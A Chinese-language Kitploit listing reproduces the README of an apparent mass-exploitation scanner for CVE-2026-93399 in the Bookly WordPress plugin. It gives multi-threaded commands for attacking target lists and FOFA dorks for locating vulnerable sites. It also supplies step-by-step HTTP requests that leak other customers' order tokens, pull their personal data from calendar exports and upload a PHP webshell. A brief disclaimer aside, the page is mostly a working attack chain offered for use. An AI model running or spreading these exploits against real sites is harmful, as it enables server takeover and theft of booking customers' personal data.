Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-93399 — 针对 Bookly WordPress 插件中 CVE-2026-93399 的 Python 大规模利用扫描器:版本检测、未认证 IDOR 订单令牌枚举、PII 提取以及 webshell RCE。 | Kitploit
工具/GitHubGitHub/josemour8/cve-2026-93399
侦察漏洞扫描器Payload生成漏洞利用Web应用程序漏洞利用数据泄露Web安全渗透测试
GitHubjosemour8/cve-2026-93399

CVE-2026-93399

针对 Bookly WordPress 插件中 CVE-2026-93399 的 Python 大规模利用扫描器:版本检测、未认证 IDOR 订单令牌枚举、PII 提取以及 webshell RCE。

查看仓库
21个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-93399

Bookly <= 28.2 未授权 IDOR + PII 泄露 + RCE

针对 CVE-2026-93399(CVSS 9.1 严重)的大规模利用扫描器,影响 Bookly — Online Scheduling and Appointment Booking System WordPress 插件(版本 <= 28.2)。

目录

  • 概述
  • 漏洞链
  • 受影响版本
  • 要求
  • 安装
  • 用法
  • FOFA Dorks
  • 攻击流程
  • 输出格式
  • 技术细节
  • 免责声明
  • 许可证

概述

WordPress 的 Bookly 插件通过 bookly_get_form_id、bookly_render_complete、bookly_add_to_calendar 和 bookly_rollback_order 这几个 AJAX 操作,容易受到 不安全的直接对象引用(IDOR) 攻击。所有操作均为未授权(_default => 'anonymous'),且 CSRF 保护已禁用(csrfTokenValid() 返回 true)。

bookly_get_form_id 处理程序会将攻击者控制的 form_data(包括 order_id)盲目存储到新的预订会话中,且没有任何验证。随后,bookly_render_complete 处理程序信任这个被注入的 order_id,用它查找并返回对应 Order 的密钥令牌——从而使未授权攻击者能够枚举连续的订单 ID、泄露其他客户的订单令牌、获取日历/预约信息,并永久删除任意未完成的预订。

漏洞链

Step 1: getFormId       → inject form_data[order_id] = VICTIM_ID (IDOR)
Step 2: renderComplete  → leak victim order token via Order::query()
Step 3: addToCalendar    → extract customer PII (staff name, email, service, date)
Step 4: sessionSave     → inject file payload (RCE, requires Files add-on)

受影响版本

  • 存在漏洞: Bookly <= 28.2(包括 28.2 在内的所有版本)
  • 修复于: 28.3(新增了 _prepareFormData() 白名单和 _prepareCartData() 清理器)

环境要求

  • Python 3.8+
  • requests 库
pip install requests

安装

git clone https://github.com/josemour8/CVE-2026-93399.git
cd CVE-2026-93399
pip install requests

用法

单一目标

# Detect Bookly version (safe, no exploit)
python3 exploit.py -u http://target.com --detect

# IDOR: enumerate order tokens (1-50)
python3 exploit.py -u http://target.com --enumerate --start 1 --end 50

# PII extraction via ICS (staff name, email, appointment data)
python3 exploit.py -u http://target.com --pii

# RCE: attempt webshell upload via session injection
python3 exploit.py -u http://target.com --rce

# Full chain: IDOR + PII + RCE
python3 exploit.py -u http://target.com --full

大规模扫描

# Full chain on target list with 10 threads
python3 exploit.py -f targets.txt --full -th 10 -o results.txt

# Enumerate tokens across multiple targets
python3 exploit.py -f targets.txt --enumerate --start 1 --end 100 -th 20

选项

标志描述
-u, --url单个目标 URL
-f, --file包含目标 URL 的文件(每行一个)
--detect仅检查版本(安全)
--enumerateIDOR:泄露订单令牌
--pii通过 ICS 日历导出提取 PII
--rce尝试上传 webshell
--full完整链路:IDOR + PII + RCE
--start N起始 order_id(默认:1)
--end N结束 order_id(默认:50)
-th, --threads N线程数(默认:5)
-o, --output FILE输出文件(默认:results.txt)
-v, --verbose显示所有尝试

FOFA Dorks

查找所有 Bookly 安装

body="bookly-responsive-appointment-booking-tool"

查找包含已渲染预订表单的 Bookly 页面

body="BooklyL10nGlobal"

特定版本(易受攻击版本 <= 28.2)

body="bookly-main.css?ver=28.2"

组合(最高置信度)

body="bookly-responsive-appointment-booking-tool" && body="BooklyL10nGlobal"

使用 Files 附加组件查找目标(用于 RCE)

body="bookly-addon-files"

查找配置了文件上传字段的目标(可利用 RCE)

body="bookly-js-upload"

攻击流程

步骤 1:注入 order_id(IDOR)

POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded

action=bookly_get_form_id
form_data[order_id]=1
form_data[data][first_name]=x
form_data[chain][0][service_id]=1
form_data[chain][0][staff_ids][]=1
form_data[cart][0][service_id]=1
form_data[cart][0][staff_ids][]=1

响应:

{"success":true,"form_id":"a1b2c3d4e5f6...","status":{"booking":"new"}}

易受攻击的代码(Ajax.php:45-46):

$form_id = Lib\FormSession::createSession();
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// form_data stored RAW — no _prepareFormData() whitelist in <= 28.2

步骤 2:泄露订单令牌

POST /wp-admin/admin-ajax.php
action=bookly_render_complete
form_id=a1b2c3d4e5f6...

响应:

{"success":true,"bookly_order":"de2730e13265e86364172d99444ebe3d","html":"..."}

易受攻击的代码(Ajax.php:733):

'bookly_order' => Lib\Entities\Order::query()
    ->where('id', $userData->getOrderId())  // attacker-controlled
    ->fetchVar('token')                       // victim token leaked

步骤 3:通过 ICS 提取 PII

GET /wp-admin/admin-ajax.php?action=bookly_add_to_calendar&bookly_order=LEAKED_TOKEN&calendar=ics

响应: 包含客户数据的 ICS 文件:

BEGIN:VEVENT
ORGANIZER;CN=Admissions Manager:mailto:[email protected]
SUMMARY:TNS Gulberg - Tour
DTSTART:20230908T080000Z
END:VEVENT

步骤 4:RCE(需要 Files 附加组件)

POST /wp-admin/admin-ajax.php
action=bookly_files_upload
custom_field_id=<field_id_from_booking_form>
csrf_token=<from_homepage>
file=shell.php (Content: <?php echo system($_GET["c"]); ?>)

Shell 位置:/wp-content/uploads/bookly-files/shell.php

输出格式

http://target.com | IDOR | order_id=1 | token=de2730e13265e86364172d99444ebe3d
http://target.com | PII | order_id=2 | staff=Admissions Manager | [email protected] | service=TNS Gulberg - Tour | date=20230908T080000Z
http://target.com | RCE | http://target.com/wp-content/uploads/bookly-files/pxd001.php?c=id

技术细节

根本原因

getFormId() 处理程序将整个 form_data 参数(用户可控的 JSON)存入会话数据库,没有任何白名单或清理。这使得攻击者可以注入任意会话键,包括 order_id。

renderComplete() 处理程序从会话中读取 order_id 并直接查询 Order 表——没有验证当前会话是否创建了该订单。

两个叠加缺陷

  1. CSRF 已禁用——在 booking 模块中,csrfTokenValid() 被重写为 return true
  2. 所有操作均为匿名——permissions() 返回 array('_default' => 'anonymous'),因此每个处理程序都同时注册了 wp_ajax_ 和 wp_ajax_nopriv_ 钩子

修复方案(28.3)

版本 28.3 新增了 _prepareFormData()——一个严格的白名单,会剥离除显示设置(skip_service_step、hide_service_part1、hide_service_part2、defaults)之外的所有内容。同时还新增了 _prepareCartData() 来清理购物车项键。

// 28.2 (vulnerable):
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));

// 28.3 (fixed):
Lib\FormSession::saveSession($form_id, self::_prepareFormData(self::parameter('form_data')));

RCE 前提条件

通过 webshell 上传实现 RCE 需要:

  1. 已安装并启用 Bookly Files 附加组件
  2. 在预订表单中配置了 类型为 "file" 的自定义字段
  3. 扩展名允许列表必须配置错误(为空或过于宽松)

bookly_files_upload AJAX 端点无需身份验证,并直接接受 multipart 文件上传。然而,Files 附加组件会根据允许列表验证文件扩展名。如果允许列表配置正确,所有 PHP 扩展名都会被阻止。

会话注入(替代 RCE 路径)

IDOR 会话注入还可以将文件载荷嵌入 form_data[data][info_fields]。当 saveAppointment 触发 Proxy\Files::attachCIFiles() 时,文件处理器会处理注入的数据。此路径要求 Files 附加组件处于启用状态,并取决于该附加组件对 attachCIFiles 的实现。

免责声明

本工具仅供教育和授权测试目的使用。作者不对本工具造成的任何滥用或损害负责。在扫描或测试任何目标之前,请务必获得适当的授权。

许可证

MIT 许可证 — 详情请参阅 LICENSE 文件。

参考资料

  • CVE-2026-93399
  • Wordfence Advisory
  • WPScan
  • WordPress.org 上的插件
下载工具